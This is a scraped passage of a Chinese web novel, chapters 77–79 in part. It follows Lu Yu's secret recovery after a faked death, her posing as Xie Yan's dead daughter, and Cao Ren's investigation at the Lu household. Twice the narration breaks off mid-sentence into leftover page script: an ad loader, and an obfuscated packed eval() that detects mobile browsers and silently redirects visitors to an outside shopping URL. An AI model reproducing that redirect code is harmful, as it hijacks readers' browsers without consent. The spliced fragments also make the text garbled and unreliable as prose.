如今听谢洐说自己是已死之人,心里也就大概猜到他用了偷梁换柱的办法救下了自己,她不是不知好歹的人,见谢洐一脸的心事重重,忙道:“是我给九叔增加负担,让您如此疲累,我定会安心养伤。” 谢洐却摇摇头,安慰道:“你无需自责,也不用难过,我是因其他事发愁。” 说着,谢洐和陆萸还原了那日的事情。 那日,陆萸受完第三十鞭后气息全无,经医官和仵作鉴定后,廷尉府和卢大公子才同意陆氏为其收敛,因陆萸死得太突然,陆氏也是一时间手忙脚乱。 陆弘想在陆府设灵堂,可陆歆拒绝了,他不让设灵堂也不让设路祭,只想在当天尽快将她下葬,为此卢大公子还嘲讽了一句:“陆侯真是胸有丘壑,心怀大局之人,让卢某甚是佩服。” 陆弘为此想和祖父再争取一下,谁知陆歆态度异常坚决,让一旁听着的其他人都侧目不已。 就在这时,谢洐主动提出将灵堂暂时设在华彩阁,反正华彩阁出此变故也做不了生意,既然事情发生在这里,干脆就从这里出殡。 就这样,陆萸的“遗体”从地牢转移到了华彩阁,既然是收敛遗体,就该换衣服梳洗打扮,谢洐就是在这个时候把她换下来的。 受刑后的陆萸身上没一块好的,脸上也因之前的伤加上长时间被关在地牢,许久不见太阳的皮肤不但污秽不堪,肤色也异于常人,根本看不出人样,替换她的尸体经过一番梳妆打扮,抹上厚厚的粉和胭脂,再带上她手腕上的珠串后,连陆弘都没发现妹妹被掉包,还在棺椁旁落了几滴泪。 把陆萸替换下来后,趁着陆弘给她发丧前往覆舟山的时候,谢洐紧急将她从华彩阁带回了乌衣巷谢府。 “所以,木槿是陆府唯一的知情人?”陆萸听后问。 “是,那丫头对你倒也衷心,二话不说就答应配合我行事,为了救你,我浪费了一颗上等好药”谢洐答。 药?陆萸想起第三日行刑之前,木槿给她喂水的时候偷偷喂了她一颗药,当时说是止疼的药,原来,那药还能让人假死,果真是上等好药。 “日后有机会,我一定赔给九叔”陆萸道。 “这些以后再说吧,我如今还有事想请你相帮”谢洐回。 “何事?”陆萸忙问。 “你这两天再养养,等不再发热,我再和你细说。” 就这样,谢洐说完后就急匆匆的走了。 夜里,阿桃果真被谢洐抓来了,她没想到谢洐会用如此简单粗暴的办法把人掳来这里。 阿桃被掳走后,一开始还很是害怕,后来发现这些人虽掳走了她,却也没有虐待她,于是她一直没给他们好脸色,骂了他们整整一路。 待看到陆萸,她先是大惊失色,然后又是哭又笑地问:“女公子怎会在此?” 陆萸勇敢反杀色痞纨绔卢公子的事迹早就传遍大魏,后来,她被判决为鞭刑,大家也听说了,至于鞭刑之后的事还没传开,她也是快到建业的时候才听人说陆氏女受不了鞭刑去世了。 为此,她还哭了好一阵,哪里晓得会在这里见到活着陆萸。 “此事说来话长,这一路上,他们有没有伤到你?”陆萸担忧地看着阿桃。 阿桃从震惊中回过神来,立即在陆萸身旁坐下后,回:“我没事,是他们一开始没说清楚,害得我以为要被卖去见不得人的地方,担惊受怕了一路。” 说着,她小心翼翼地掀起陆萸的衣服查看后背的伤口。 如今刚入夏,气候还不算很热,陆萸的后背虽然不能盖被子,却可以用一件薄薄的外伤遮盖,医官已经让侍女简单涂抹过止血的药粉,虽然没有立竿见影的效果,却也没有让伤口溃烂。 伤口甚是狰狞可怖,但她很有把握将其全部治好不留任何疤痕,于是笑着安抚陆萸,“你安心喝汤药退热,我定会给你配制好药,保证你恢复如初。” 这时,谢洐急匆匆从外面赶来。 阿桃问,“这是你家人?” 陆萸点点头,“他如今是我唯一的家人。” 闻言,阿桃忙起身行礼,“您放心,奴能治好女公子身上的伤。” 阿桃已满十一岁,比去年又长高了不少,她出言保证的时候颇有一副大人摸样。 谢洐回:“只要你能治好九丫头,我必有重赏” “重赏就不必了,奴只想学医术”阿桃答。 自上次和陆萸一番交谈后,她心心念念想着学习医术,奈何师父不愿意让她学医,所以,刚刚看过医官给陆萸把脉问诊后,她就想用这个来换重赏。 想来世家大族都养着医官,让这些医官让她学点皮毛医术,应该是容易答应的。 “成,只要你愿意,我让郭老收你为徒”谢洐答。 阿桃闻言, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 立马欣喜开口,“奴一定竭尽所能给女公子医治。” 就这样,她开开心心地下去配药去了。 陆萸见这样的她,有些后悔那日发热犯迷糊时把阿桃的名字说出来,不能见光的自己被她医治,日后,她若想离开谢氏,就真是难上加难了。 “又再愁什么?小小年纪,愁绪比我还多”谢洐在一旁叹道。 “九叔,华彩阁恢复营业了吗?”陆萸问。 距华彩阁出事,如今已过去整整两个半月,陆氏已经将茶点生意全部交割给谢洐,那些参与茶点生意的陆氏家奴,谢洐让他们自己决定去留,出乎意料地,他们没有人愿意离开。 华彩阁原来的伙计,除了掌柜,其余全部被灭口,谢洐开始大张旗鼓的去调查,奈何也是查不到任何头绪。 虽然一开始怀疑过掌柜,但他也是被人下了药,如今还半死不活地卧病在床,而给他下毒的小厮已被灭口。 陆萸听后,将之前祖孙二人在地牢分析的结果和谢洐也说了一遍,能养出如此厉害的杀手,肯定不是普通世家,而这杀手很有可能是跟着参加宴会的世家女眷一起来建业的。 只是,出事后,陆氏不敢大张旗鼓的查,谢洐又还未回建业,所以错过了那些回洛阳的队伍,卢氏的队伍倒是一只留在建业守着卢奎的遗体,却都只是普通护卫,没有悄无声息把人杀掉的本事。 “你先安心养伤,我也会继续查,这里查不出头绪,我就查查那些女眷”谢洐道。 陆萸也觉得查女眷肯定也能查到一些线索,比如张文茵,再比如朱琳和曹姒,他们明显都是布局人。 思及此,她问;“大兄和文茵阿姊的亲事如何了?” 谢洐,“陆氏这回倒是硬气了一回,陆弘以还要继续学业不忍耽误张氏女花期为由,亲自上门将亲事退了,张氏理亏在前,被退婚也不敢大闹,只是和和气气地退还了定亲时送的那些东西。” 看来,陆氏和张氏,自此以后是要分道扬镳了,不过张氏那些后生太差,几乎都是些歪瓜裂枣,陆氏根本没有必要在乎。 谢洐接着道:“别人的事就别操心了,看看陆氏把你养成什么样,一身重伤就算了,还气血两亏,早就听闻陆氏讲究勤俭持家,却没想到他们竟然对晚辈都这么抠门。” 陆萸忙笑着回,“不是这样,是我” 她话未说完,被谢洐立马打断,“不管他们之前怎样,我既然冒这么大的风险将你救下,你就得听我的,好好喝药,喝滋补汤药。” 陆萸伤势严重,加上之前气血亏损的病症没有痊愈,如今只是趴着和谢洐说会话,就已精疲力尽,很快就再次入睡了。 之后几天,阿桃全身心的替陆萸治疗后背的伤,而医官则主攻内伤,陆萸白日里醒来的时间越来越多,夜里也渐渐地不再发热。 在乌衣巷谢府养病十二日后,陆萸随谢洐悄悄离开了建业。 谢洐要带她去会稽郡上虞县东山谢氏别墅,上虞县毗邻山阴县,谢洐说最危险的地方往往是最安全的地方,而且他急着回东山,不放心将独自陆萸留在建业养伤。 于是,陆萸边养伤边赶路,本来两周多就能到行程,花了一个月才到,至东山别墅时,刚好赶上了东山的蔷薇花开放。 谢洐是个很会享受生活的人,自山脚的路口开始,让人在路边种满了蔷薇,一路花海延伸至别墅大门口,粉色的花朵点缀在绿色的枝藤上,娇艳却又不妩媚,美丽却又清新,散发着淡淡的香气,让人感受到了温馨和美好。 见陆萸伸头欣赏美景时,发自内心的欢喜,谢洐得意一笑,“就这些,只是东山别墅的一点小景而已,待你进了别墅,才知何为人间仙境。” 一行人进别墅后,倒也真应他的话,亭台阁楼、小乔水榭,无一不设计精美,院中绿植更是布局巧妙,一院一景,却无重复,难怪他每年都要花时候回东山小住。 看着生机盎然的院子,陆萸成了黑户以后低落了许久的心,也瞬间被治愈了,俗话说留得青山在不愁没柴烧,只要活着,她就要好好养身体,以待东山再起之日。 78. 第七十八章 理想 陆萸想起“东山再起”这个成语就是出自这个东山,到了平行时空,机缘巧合下,她竟然有幸来到这个后世如雷贯耳的地方,冥冥之中的缘分让她的信心大增。 在养伤赶路期间,谢洐给她讲了一个故事,也解开了她之前有的一些疑惑。 先帝好武,陈郡谢氏因出将才而得先帝重用,两个皇后皆出自谢氏,先帝驾崩后,谢洐的祖父成为曹启皇帝的太傅,一时权倾朝野。 朝权臣和帝王之间的博弈持续了十几年,最后谢氏和党羽被曹启皇帝斗出朝堂,半年后,谢太傅病逝,皇帝又念起他的好,于是给庸碌无为的谢氏在长子封了个承恩侯。 谢太后无子,曹启皇帝后嗣也单薄,因此打算去承恩侯府选个孩子养在太后膝下,就这样,生母早逝的庶子谢洐被选中养在了永宁宫。 他入宫后,和长公主瑶光成了青梅竹马的玩伴,随着年龄增长,二人渐生情愫。 当他将想要求娶瑶光的想法告诉谢太后的时候,谢太后告诉他:皇帝忌惮谢氏,不会把公主嫁给他,也不会让他在朝中任要职,他这一生注定只能做个闲散官。 他那时候天真的以为,只要两情相悦,只要他足够诚心,就一定能打动帝后。 可现实他狠狠地打了他一巴掌,瑶光被出自杨氏的皇后指婚给了表兄杨三郎。 苦求帝后收回成命无果后,两个年轻人想到了很多办法,私奔、假死、或者殉情,考虑再三后,二人决定找专给太后请脉的御医配一种假死的药丸。 药丸成分复杂,配起来费时费力,好在最后还是配成了两颗。 按原计划,他们二人一起服药,让皇后知道二人殉情的决心,待收敛尸体的时候再偷梁换柱,自此以后海阔天空,二人可以隐姓埋名度过余下的人生。 计划和畅享的未来都看似很美好,可到约定的日子,谢洐吃下了药丸,瑶光公主却失约了,她把药丸送回了永宁宫,毅然接受了赐婚。 从永宁宫醒来的谢洐猜不透心上人为何突然变心,苦苦求问原因却不得后,他瞬间消沉,日日在洛阳街头买醉,恰在这时,爱慕谢洐多年的萧氏女郎再次主动向他告白。 早就对她烦不胜烦的谢洐为拒绝她,醉醺醺地问;“既是真心爱慕我,想必是不在意身份的,你可愿做我妾?” 萧氏怎会让嫡女做妾呢?可萧嘉卉听后,仅愣了一瞬便毫不犹豫地答应了。 就这样,谢洐稀里糊涂地答应了萧嘉卉会选个吉日将她抬进谢府。 酒醒后,谢洐想起这事,后悔过,但听说瑶光公主的婚期已定,心高气傲的他一气之下真的差人去萧府抬萧嘉卉。 萧嘉卉深得父兄的疼爱,他们认为谢氏是在折辱萧氏,所以不但拒绝让女儿入谢府还派人将谢洐毒打了一顿。 后来,萧嘉卉绝食反抗,出于对她的疼爱,萧氏还是答应让她以贵妾的身份进谢氏的门,只是自此以后,萧氏和萧嘉卉断了所有联系。 瑶光公主出嫁后,谢洐也算看透官场,辞了身上的职务一心想要行商。 他虽为庶子,却是被陈郡谢氏寄予厚望的,他们都指望他能继续先祖的荣光,为此,他和家里长辈闹了很久。 许是又想起太傅的好,又或许是因为没让他娶瑶光而愧疚,皇帝突然将食盐的分销权交给了他。 自西汉起,盐铁售卖都归朝廷管理,大魏的盐由朝廷开采加工,再由朝廷亲自售卖,这期间参与管理售卖的人太多,不好严格把控,故曹启皇帝进行了一项改革。 采盐和加工皆由朝廷官员监督管理,但朝廷只出面统一定价,售卖环节不直接参与,而是让世家分销,世家分销后按销售总额提取佣金,这样朝廷官员只需要监督最后由世家交回的销售额。 谢洐拿到了食盐的分销权,然后开始全身心投入到了开辟商路的事业中了。 那时候,所有人都嘲笑谢洐作为天之骄子,竟然堕落到去行商时,唯有萧嘉卉一直默默地支持他。 他开辟商路需要走南闯北,萧嘉卉亦任劳任怨跟在他身后照顾他的饮食起居。 终于,功夫不负有心人,谢洐的生意越做越大,产业越来越多,萧嘉卉却积劳成疾,几次有孕皆无故流产,好不容易生下一个女孩却是先天不足。 这是谢洐的第一个孩子,他自然非常上心,于是在治疗到五岁后,眼看孩子越来越虚弱,他不顾萧嘉卉反对,执意要带孩子回洛阳医治。 孩子被送回洛阳医治的头一年有好转的迹象,但在第二年冬日感染风寒后再也没有康复,次年春天便病逝了。 谢洐知道萧嘉卉自和孩子分离后身体每况愈下,所以也不敢告诉她实情,只和她说一直在治疗,而萧嘉卉许是思念女儿成疾,慢慢的,精神变得不正常起来。 陆萸问:“你女儿叫什么名字?” “谢知鱼,卉娘说取自子非鱼,安知鱼之乐,世间唯有卉娘知我”谢洐答。 谢知鱼被偷偷下葬的那年,陆萸在华彩阁讲了《追鱼》的故事,所以,一开始,谢洐并不是真看上陆萸设计的图纸,而是因为女儿。 谢知鱼比陆萸大一岁多,若是活着,如今已年满十六,谢洐曾想过让陆萸暂时去骗骗萧嘉卉,可每每看到萧嘉卉那期待的眼神,他又于心不忍。 今年初,医师言萧嘉卉病入膏肓,可能活不过半年,他急匆匆回北方请医问药,这才错过了华彩阁的事。 他在永宁宫找药的时候,从已经致仕的老御医的徒弟那里探听到,皇帝身边的庆平让致仕的老御医配制当年的药。 因瑶光公主当年背叛誓约后不给他任何解释,他恨了她半生,也怨了半生,不曾想,她也不过是身不由己罢了。 谢洐道:“我太了解陛下是怎样的人,他能让君期拼死送密信去西域,就能拿你做人质威胁君期,若我不提前出手,最后的结果不是你受完刑后被陆氏带回去,而是余生都受制于他,直至他驾崩。” 陆萸一开始也疑惑谢洐为何要冒那么大的风险救自己,毕竟五十鞭下去,也未必会死。 此刻,她终于想明白,若她不死,不足以平卢氏的怒火。 陆氏或许也曾存着侥幸心里,以为她能扛下五十鞭活下来,但又担心卢氏将怒火发泄在北上的大伯父身上,所以行刑时没有制止卢大公子换人。 向来喜欢玩弄权术,制衡各大世家的曹启皇帝也不愿意看到那种局面,所以,哪怕判决只是鞭刑,她也注定是必死的。 她不知道皇帝答应了曹壬什么条件,曹壬才会冒着生命危险送信,但她知道,曹壬是因为自己,破了杀戒。 思及此,陆萸忍不住潸然泪下,她欠他的太多太多,这一生都还不清了。 见她如此,谢洐心里也难受,他轻声安慰:“好在你已被我救下,以后,君期只要想,就算回不了白马寺,也可以做个游僧,苦行参禅。” 犯杀戮之人,成为游僧,苦行参禅游历人间,只为积攒功德,为求得佛祖原谅。 做个苦行僧,虽然清苦一些,但也好过被皇帝一而再、再而三的利用。 “你是已死之人,为了君期的安全,不要贸然去联系他,只要都活着,日后总会有机会相见的”谢洐道。 陆萸擦了擦眼泪,点点头,“多谢九叔提点,我知道分寸的。” 谢洐之前说的想请陆萸帮忙,就是暂时冒充一下谢知鱼,陪萧嘉卉走完最后的时光。 陆萸没有犹豫就答应了,那样勇敢果决的女郎,她既心生佩服又替她难过。 正如她说的“子非鱼安知鱼之乐”,或许在她家人看来她这种义无反顾的行为恋爱脑到极致,可能够陪在心爱之人的身旁,或许也是她能熬到现在的原因。 陆萸背上的鞭伤已经开始结痂,但内伤还未完全康复,所以这样看起来脸色惨白弱不禁风的样子,倒也稍微有一点点像谢知鱼。 萧嘉卉的情况果真一点不好,陆萸见她的时候,她正一个人晒着太阳哼着童谣,看到有人进了她的院子,也没有马上做出反应。 而是过了好一会,才缓缓转头,呆呆傻傻地看着谢洐,“谢郎,小鱼儿今日会回来吗?” 小鱼儿就是谢知鱼,仅看了一眼,陆萸便忍不住想要落泪。 此时的萧嘉卉骨瘦形销,广袖衫裙穿在她身上就像挂在树枝上,高高的颧骨凸起,显得那双装在眼眶中的瞳孔更加明亮,而此时,瞳孔里全是希冀。 想来谢洐对这样的她早已习惯,立马笑着走上前,扶起她,“我把小鱼儿带回来看你了。” 萧嘉卉闻言,眼中顿时大放光彩,欣喜的问:“在哪里?我的小鱼儿在哪里?” “她就是,是我们的小鱼儿”谢洐指着陆萸回。 陆萸忙上前行礼,“小鱼儿见过阿娘,阿娘受苦了。” 萧嘉卉先是一喜,待看清陆萸后,却是大叫,“她不是小鱼儿,小鱼儿才六岁,她不是我的小鱼儿,是我没本事,不能生养好她,是我的错。” 说着,她突然痛哭不止。 她又发病了,她不记得今夕何夕,只记得小鱼儿六岁了,她经常反复念叨,还做了很多六岁女童穿的衣服和布老虎。 一旁的侍女好似都已经习惯她这样发病,立时有条不紊的将她架回了屋子里。 谢洐一脸悲伤地看着萧嘉卉离去的背影,“她现在有时候连我都不认识了,说谢九郎不是这样的,应该是风度翩翩身着 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萧嘉卉刚好扭头看着陆萸,一副明明很想上前相认,又害怕相认的样子,两眼饱含泪水地看着陆萸,“小鱼儿都长这么大了呀,昨日没有认出你,你可会怪我?” 都言女人是水做的,也常用柔情似水来形容女子,陆萸却是第一次看到这一切被具象化。 清醒过来的萧嘉卉像江南水乡烟雨蒙蒙中走来的女郎,温婉优雅,柔情似水。 她的轻言细语像极了春日初雨时,细细绵绵如丝如线般落在油纸伞上的雨滴。 哪怕只是假的,在这一刻,陆萸也忍不住想要贪恋这份温柔,她疾步走入室内,然后扑倒在她的怀里,哽咽出声,“阿娘,是小鱼儿不孝,不能在您跟前尽孝。” 谢洐被陆萸突如其来的情绪感染得瞬间忘了下笔,听说她不曾见过自己生母,对才见过两次的卉娘竟能生出如此深的孺慕之情,想来也是把对生母的感情寄托在了卉娘身上了吧? 如此一想,再联想到陆氏对她所行之事,谢洐对她更加心疼。 还好,他把她救下来了,以后,她就是自己的亲人了。 曹壬带着陆萸的牌位回了洛阳,他打算去白马寺给陆萸点一盏灯,一盏引魂长明灯。 待点好灯,和师父作别后,他要带着陆萸的牌位云游大魏,一如当初答应过她的一样,和她一起游历四方,看遍山河。 净觉知他去意已决,倒也没有挽留他,而是道:“云游或是留在寺里皆可参佛修行,只要想回来,你依然是我的弟子。” 离开白马寺之前,守门僧告诉曹壬,一个叫三伏的女施主已经来过好几次,因没有等到他,所以回星火书店去了。 曹壬听后,已经麻木的心,好似瞬间又有了一点盼头,急匆匆赶去星火书店。 星火书店没有因陆萸的离去而有任何不同,后院的枣树此时郁郁葱葱,三伏将两幅画和“一杆翁”的印鉴还给了曹壬。 曹壬问:“阿萸可曾有什么话留给我的?” 三伏摇摇头,“陆氏不能探望,她也不能写字留下把柄,所以只是行刑前让奴婢把这个留给您。” 希望再次破灭,他多么期盼她能留给自己只言片语,哪怕是抱怨他无能,责怪他不能救她的话语也好。 他拿着画卷的双手慢慢收紧,眼泪悄无声息的落在手背上。 站在这棵大枣树下,那些有关她的记忆争先恐后地涌入脑海,明明好似是昨天才发生的事,转眼已是空。 三伏知道此刻多说无益,安静地陪着他落了会泪后,见他情绪稍有平复,才道:“奴婢已脱奴籍,女公子也留了银两给我,以后,我要替女公子走遍大魏,顺便考察哪些地方适合开设书院。” 她身手好,有能力自保,所以打算边游历边考察,再将考察结果反馈给陆氏,没有女公子,想来女子书院是没有希望成立了,但能开设星火书院也是对百姓有利的。 三伏走后,曹壬独自在树下站了许久,夏日午后的太阳慢慢西斜,一切还和从前一样。 星火课堂的学员开始在课堂上齐声朗读,读的正好是书院的院训:为天地立心,为生民立命,为往圣继绝学,为万世开太平 曹壬想起陆萸在长安和他说过的话,她说:这四句话影响了千千万万的人,无数革命先烈因这四句话抛头颅洒热血,才建立了一个崭新的、充满希望的国家,所以,这就是她的理想。 仿佛只用了一瞬间,他那迷茫已久不知该何去何从的心突然找寻到了方向,往后余生,他不愿意继续逃避现实苟且偷生,她的理想,也将成为他的理想。 他义无反顾地走上了去往太极宫的路,夕阳照着他背,他和他的影子慢慢融入在了那片金色中。 79. 第七十九章 真相 小黄门在太极殿西堂外报:“慧悟法师求见陛下”时,曹启正和禁卫军统领夏侯湛分析陆萸的案情,虽已结案,二人却还想继续深挖此案内情。 而曹启之所以同意扬州刺史草草结案,是因为北境战事吃紧,所以不得已而为之,如今外敌难缠,朝中还是一团和气比较好,不然容易被鲜卑钻空子。 曹启知道强扭的瓜不甜,所以已经放弃曹壬,转而打算从成都王世子或者东海王世子中选一个培养,谁曾想,今日曹壬竟然主动找上门了。 他忙让庆平去门口迎曹壬,然后扭头对夏侯湛道:“看来,朕得给白马寺多添点香油钱。” 夏侯湛不想泼冷水,但忍不住回:“北境的士兵更需要香油钱。” 曹启皇帝闻言,差点没忍住将茶盏扔向他,国库没钱,而战事迟迟未了,他也很头疼,不需要别人反复提醒。 曹壬进西堂后,先是向皇帝行了礼,见到夏侯湛也在,于是又行了礼。 曹启的心里其实已经乐开花了,却还得装作若无其事地问:“法师今日前来所为何事?” 庆平默默地别开脸,将视线看向房顶,陛下嘴角都快压不住了,真没必要这样端着。 曹壬犹豫了一瞬,才回:“我是反复思量过后才来这里的,所以想问问陛下,您之前所言可还作数?” 曹启皇帝忙点头,“作数,自然作数,只要你不反悔”见他看着夏侯湛,忙接着道:“他知道你和朕的约定,不用顾虑。” “我已想得透彻,所以余生不想苟且,只求能为民生尽绵薄之力,还请陛下能够成全”曹壬说完,双手举过头顶向皇帝行了大礼。 见状,曹启皇帝忙从龙案前走下来,将他扶起,欣喜道:“好,甚好,自此以后,你放心,朕定会把毕生所学皆传授于你。” 说着,他看向夏侯湛,“来见过新太子。” 夏侯湛听令,立马走到曹壬跟前,行礼,“禁卫军统领夏侯湛,见过太子殿下。” 他行过礼后,有些心虚的想:但愿太子殿下永远不会知道自己曾差人去路上给陆氏女制造磨难。 在皇权不够集中的时候,东宫太子不是皇帝想任命谁朝臣就能听的,虽然曹启皇帝恨不得即刻告太庙封太子,但他知道一切还得慢慢谋划,才好让那些朝臣阻拦不了他的决策。 三人经过一番细细商量后,最终决定,曹壬最好继续保留慧悟的身份,这样才好穿梭于各大朝臣的府邸。好事多磨,要先做好伏笔再打个措手不及,届时,那些老顽固想要反对也来不及了。 他之前随师傅讲经传扬佛法时,出入世家府邸是常有的事,以前不觉得如何,此时却觉得这身份用起来很是方便。 离开太极殿西堂前,曹启皇帝问曹壬:“你第一步打算做什么?” “陆氏女的案子存在诸多疑点,我想继续追查”曹壬答。 闻言,曹启皇帝迅速和夏侯湛交换了一下眼神,然后笑回:“想做就去做,大胆放手去做,需要援助时你找子德就行。” 曹壬行礼告退离开太极宫后,去了卢太尉的府邸。 卢老夫人久病未愈,曾请白马寺主持诵过经文,今日他主动上门求见,立即被卢太尉引为座上宾。 至卢老夫人病床前,曹壬双手合十行礼,“贫僧见过姨祖母” 卢老夫人闻言,先是一愣,待想到南安王太后是自己的妹妹,一时间老泪纵横,“你快过来姨祖母跟前,我曾听妹妹提起过你,可惜一直无缘得见,后来听你入了佛门,我还惋惜过,如今能见到你,定是佛祖怜惜我刚没了爱孙,所以送你前来。” 卢老夫人说完,立即念叨着阿弥陀佛。 虽然很不习惯她这般热情,曹壬却也没有犹豫,而是依言在她床前坐下,然后很耐心地轻声安慰起她来。 大魏重孝道,所以卢老夫人即便已经病得起不来,卢太尉依然对她言听计从。 曹壬没有一来就和她聊死去的卢奎,而是对她一番安抚后,主动提出,因看到她精神不济,顿时心生不忍,想在府中小住几日,陪陪她,也开解开解她,以尽孝道。 卢太尉听后喜出望外,自从小儿子出事后,老母亲看府上所有人都不顺眼,动不动就乱骂人。 哪怕他已官至太尉,老母亲依然当着外人的面用粗俗之言谩骂,早就让他痛苦不堪,如今曹壬主动提出相陪,真是瞌睡遇到枕头,立马让人准备院落去了。 他还不忘问,“法师最近有无重大法会需要参加?若无,还请您在府上多住些日子,待母亲完全康复再回白马寺?” 曹壬无悲无喜,双眸澄净地看着卢太尉,“虽说出家人断绝了前尘,然贫僧无法在祖母面前尽孝,如今能开导姨祖母也算是了却一桩前尘遗憾,太尉放心,贫僧定会等姨祖母痊愈再离去。” 有曹壬这句话,卢太尉连日以来的阴霾瞬间一扫而空,老母亲有人安抚着,他的日子就能好过些了,家里其他人也不用过得战战兢兢的了。 他忙欣喜地回:“法师可安心住下,以后就当是在自己家,无需客气,有什么地方需要卢某时尽管提。” 曹壬双手合十,回礼,“贫僧吃穿用度极简,无需贵府太过费心,只需太尉允许贫僧在府中随意走动即可。” “那是自然,法师随意,随意”卢太尉笑得合不拢嘴,立马下去准备了。 像慧悟这样声名远播的高僧愿意住在自己府上,指不定要被多少同僚羡慕嫉妒呢,他又怎会介意在府里随意走动呢?他恨不得慧悟能常住,好让老母亲尽快康复。 他至今还记得郑老夫人去世后,在洛阳任职的郑氏丁忧归家,紧接着被同僚冷落,连小女儿被自己混账儿子抢了也敢怒不敢言。一想到因为混账儿子,卢氏得罪了很多人,他一点都不敢让老母亲出事。 若真出事,得有多少人落井下石,又得有多少人打击报复卢氏呀,仅这么一想,他瞬间觉得后背发凉,于是忙吩咐随从,“传我的口令,慧悟法师在府中小住期间,一切随他,若他找人聊佛法,你们不可躲避推脱。” 曹壬就这么住下了,他每日得空就去陪郑老夫人聊天,在府中碰到小厮或者侍女也会聊上几句,要是时间充裕,他还会去那些和曹善游过洛河的女郎家里小坐。 洛阳城里的世家女眷大多信佛,只要曹壬肯去,他们无不欢迎。 他向来记性极好,哪怕每日聊的都是些无关紧要的话题,却也能将细微末节的线索连起来。 于是,他慢慢整勾勒出了一条线索,郑氏女郎出事后,卢太尉担心儿子再惹祸,所以配给他的随从都是些老实本分且没有什么身手的小厮,按理说他是没有胆量千里迢迢跑去建业掳陆婠的。 而他后来敢在光天化日之下于华彩阁内凌辱陆婠,是有人说服了他并给他提供了人手,种种线索表明,这个说服卢奎的人是杨琇莹。 杨琇莹的母亲是卢老夫人的侄女,杨琇莹和卢奎是表兄妹,二人自小认识,虽然卢奎荒淫无度在洛阳的名声极差,但卢老夫人依然觉得爱孙的正妻应当是杨琇莹这样的出身和教养才行。 杨琇莹的母亲对姑母的这种痴心妄想很是鄙夷,但亲戚间还是免不了要往来,卢奎曾在老夫人的宴会上调戏过杨琇莹,按理说杨琇莹该对他避而远之才是。 杨琇莹却没有,她不但在事后把这个表兄哄好,还有办法让他对自己死心,恨不得把她当亲妹妹疼。 至此,剩下的就无需曹壬自己去查了,他只是在聊天时,假装不经意地把一些信息透露给卢老夫人,向来爱孙心切的卢老夫人立马就让卢太尉去查了。 在这之前,曹壬还去见了陆妘,他记得前太子妃流产后,杨琇莹的母亲曾动了让杨琇莹进东宫的念头,后来因前太子薨逝,这事才不了了之。 如今杨琇莹因觊觎太子妃之位对陆氏姐妹设局,并背刺亲妹妹杨蓁蓁,那陆妘也可以为了陆萸,设局让前太子妃也背刺一下杨琇莹。 转眼到了六月下旬,曹壬已在卢太尉府上住了一个月,此时正是盛夏时节,卢老夫人身体逐渐恢复,于是邀请和卢氏交好的世家后生到卢府赏荷。 灼灼荷花瑞,亭亭出水中。一茎孤引绿,双影共分红。卢府前几年也曾举办过赏荷会,卢老夫人喜欢热闹,所以来的都是年轻男女。 大魏民风开放,男女一起赏荷是常有的事,因为马上就要迎来七夕节,所以有很多人在私下里把卢老夫人的赏荷会戏称为“小七夕”。 今年的赏荷宴和去往年一样,来了很多身着华服、手持刀扇的年轻男女,在夏日明媚的风光里,一堆五彩斑斓的锦衣华服甚至让荷塘中的荷花都淡了色彩。 曹壬安静的陪在卢老夫人身边,宴会刚开始的时候,一些胆大的女公子甚至向他抛去媚眼,可他仿若一名入定的老僧,注视着亭亭玉立的荷花,眼中无悲亦无喜。 慢慢的,女公子们自觉无趣,也就不再看向他了。 卢老夫人对此非常满意,扭头笑着对曹壬道:“听闻你许久未见弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977436|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟,我便邀请了他,待他来了,你以茶代酒和他喝一杯。” 曹壬忙双手合十行礼,“谢姨祖母为晚辈考虑得如此周到。” 卢老夫人听了,轻叹一声,“你与他是兄弟,但终归不是一母所生,也难怪他那般荒唐。” 至于如何荒唐,卢老夫人没有继续说,曹壬猜想,卢太尉应该是查到一些真相了。 而他之所以没有去皇帝面前揭发,也许也是因为前方战事吃紧加之卢奎已死,世家好面子,他不想再去纠缠。 小儿子是被人设计而死,卢太尉却被逼着吃下这哑巴亏,士可杀不可辱,他虽然不能在朝堂上揭发真相,却也能以其人之道还其人之身。 夏日的太阳越来越辣,大家纷纷从荷塘边躲到了连廊下,仅赏荷太过无聊,卢氏给大家提供了长安城里最为流行的果酒。 大家忙着在连廊下赏荷聊天之际,卢氏后院厢房内却发生了一件大事,当卢老夫人带着众人赶到后院厢房的时候,杨琇莹早就和南安王世子衣不蔽体滚做一团,还未推开房门,里面就传来了阵阵不堪入耳的低吟声。 而更炸裂的事情还在后面,二人被众人打破好事,杨琇莹匆忙穿好衣服后口口声声说自己是被人陷害,然后陷入昏迷。卢老夫人出于对晚辈的关心,立即请人给她医治的时候,发现她已有身孕,且已三月有余。 原本装昏迷的杨琇莹在听到医官说她有孕且三月有余时,终于彻底陷入了昏迷,她是被气的。 一石惊起千层浪,在场的男女有纯看好戏凑热闹的;有因为之前总被被杨琇莹打压,今日终于扬眉吐气的;也有偷偷爱慕曹善,如今发现他如此不堪后,懊恼不已的;却没有真正关心她,想安慰一番的。 或许有,却在众目睽睽之下,迫于压力和面子,不敢主动上前。 曹壬背对着厢房的门安静地站在院中,身后的闹剧终于收场,他抬头看头顶的烈日,耀眼极了,却感觉不到温暖。 卢老夫人从屋里走出来,喊了声:“慧悟孙儿” 这是曹壬在卢府住下三天后,卢老夫人对他的爱称。 他闻言转身去看她,眼中一如既往的平静,哪怕刚刚看了一场可以惊动洛阳朝堂的大事,他亦可以如此安静平和。 他双手合十行礼,“姨祖母需要回去休息了吗?” 他就那样无悲无喜地站在烈日下,仅着一袭棕色袈裟,明明普通极了,却又如此耀眼,卢老夫人哪怕那般溺爱卢奎,却也不得不在心底承认当今世上的少年郎,恐无一人及他。 “让你见到如此糟心事,是我卢氏不周” 